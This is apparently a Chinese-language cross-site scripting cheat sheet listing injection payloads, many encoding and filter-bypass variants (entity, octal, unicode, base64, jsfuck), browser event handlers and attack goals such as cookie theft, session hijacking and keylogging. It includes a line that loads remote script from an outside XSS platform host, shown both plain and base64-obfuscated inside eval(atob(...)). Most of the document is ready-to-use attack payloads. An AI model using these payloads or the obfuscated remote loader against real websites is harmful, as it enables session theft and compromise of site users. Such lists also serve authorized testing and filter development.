

xss常用payload

```
1' onclick=alert(1) name='2
1" onclick=alert(1) name="2
<img src=1 onerror=alert(/xss/)>
<script>alert(1)</script>
%3Cscript%3Ealert(1)%3C%2Fscript%3E
&lt;script&gt;alert(1)&lt;/script&gt;
');alert(1)('
</textarea><img src=1 onerror=alert(/xss/)><textarea>

<table background='javascript.:alert(1)'\></table>
<object type=text/html data='javascript.:alert(1);'\></object>
1' onclick=alert(1) name='1
<BODY ONLOAD=alert('XSS')>
<br size="&{alert('XSS')}">
<LAYER SRC="http://xss.hackers.org/a.js"></layer>
<LINK REL="stylesheet" HREF="javascript.:alert('XSS');">
<DIV STYLE="background-image: url(javascript.:alert('XSS'))">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS");</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
```

xss编码

XSS Encode.crx

XSS与字符编码的那些事儿

```
1' onclick=alert(1) name='2
```

- url编码

```
1' onclick=alert%1%29 name='2
```

js函数 encodeURIComponent

- html实体编码(10进制)

```
1' onclick=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41; name='2
```

- html实体编码(16进制)

```
1' onclick=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29; name='2
```

- 新增的实体编码

```
1' onclick="javas&NewLine;cript&colon;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;" name='2
```

- javascript的八进制

```
1' onclick=eval('\141\154\145\162\164\50\61\51') name='2
```

- javascript的十六进制

```
1' onclick=eval('\x61\x6c\x65\x72\x74\x28\x31\x29') name='2
```

- unicode编码

```
1' onclick=eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029') name='2
```

- fromCharCode

```
1' onclick=eval(String.fromCharCode(97,108,101,114,116,40,49,41)) name='2
```

- base64编码

```
<a href="data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>
```

```
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
```

\$.getScript('http://xsspt.com/xxxx'); 编码之后

```
eval(atob('JC5nZXRTY3JpcHQoJ2h0dHA6Ly94c3NwdC5jb20veHh4eCcpOw=='));
```

js-base64编码函数 btoa,解码函数 atob

- jsfuck使用 ()+[]! 等六个字符编码js代码。但转换后可能超过正常长度

- jjencode/aaencode

[jjencode\(http://utf-8.jp/public/jjencode.html\)](http://utf-8.jp/public/jjencode.html),[\[aaencode\]\(http://utf-8.jp/public/aaencode.html\)](http://utf-8.jp/public/aaencode.html)

xss绕过

使用form-data

编码、多重编码

单双引号

空格或引号使用/代替

大小写、空格、换行

CSS注入

注释,标记混乱;



(IE),

样式标签中的\和结束符\0也是被浏览器忽略,如

```
@\0im\port'\0ja\vasc\rript>alert("xss");@\i\0m\00p\000o\0000\00000r\000000t"url";
```

脚本加密 (Script Encoder),包括 JScript 和VBScript,经过加密的脚本,能在IE下正常运行,在其他浏览器下则不识别。

拆分跨站法

xss常见过滤字符

' " < > & \

关键字

xss常用事件

- 1 onclick
- 2 onmouseover
- 3 onload
- 4 onchange
- 5 onResume
- 6 onReverse
- 7 onRowDelete
- 8 onRowInserted
- 9 onSeek
- 10 onSynchRestored
- 11 onTimeError
- 12 onTrackChange
- 13 onURLFlip
- 14 onRepeat
- 15 onMediaComplete
- 16 onMediaError
- 17 onPause
- 18 onProgress
- 19 onOutOfSync
- 20 oncontrolselect
- 21 onlayoutcomplete
- 22 onafterprint
- 23 onbeforeprint
- 24 ondataavailable
- 25 ondatasetchanged
- 26 ondatasetcomplete

```
27 onerrorupdate
28 onrowenter
29 onrowexit
30 onrowsdelete
31 onrowsinserted
32 onselectionchange
33 onbounce
34 onfinish
35 onstop
36 onresizeend
```

input标签的autofocus结合onfocus

xss常见技巧

重定向至钓鱼页面

获取cookies

会话劫持

键盘记录

内网扫描

xss蠕虫

修改配置文件getshell

弹窗函数 `alert(1)`, `prompt(1)`; , `confirm(1)`; , `window.onerror=alert;throw 1`

+ 或 / 号代替空格, `<svg+onload+=location='javascri'.concat('pt:aler','t(1)')>`,
`<img/src=x/onerror=alert(1)>`

拼接字符串 `var a=b+c; , a=[];a[0]=b;a[1]=c;a.join('') , a.concat(b,c)`

`window.open`, `eval`, `location` 可将字符串解释为代码

`<img src=x onerror = "window.open('javascri'.concat('pt:aler','t(1)'))">`

其他

XSS练习(<https://github.com/haozime/xss-demo>)

sql与xss结合 `select unhex('3C7363726970743E616C6572742831293C2F7363726970743E')`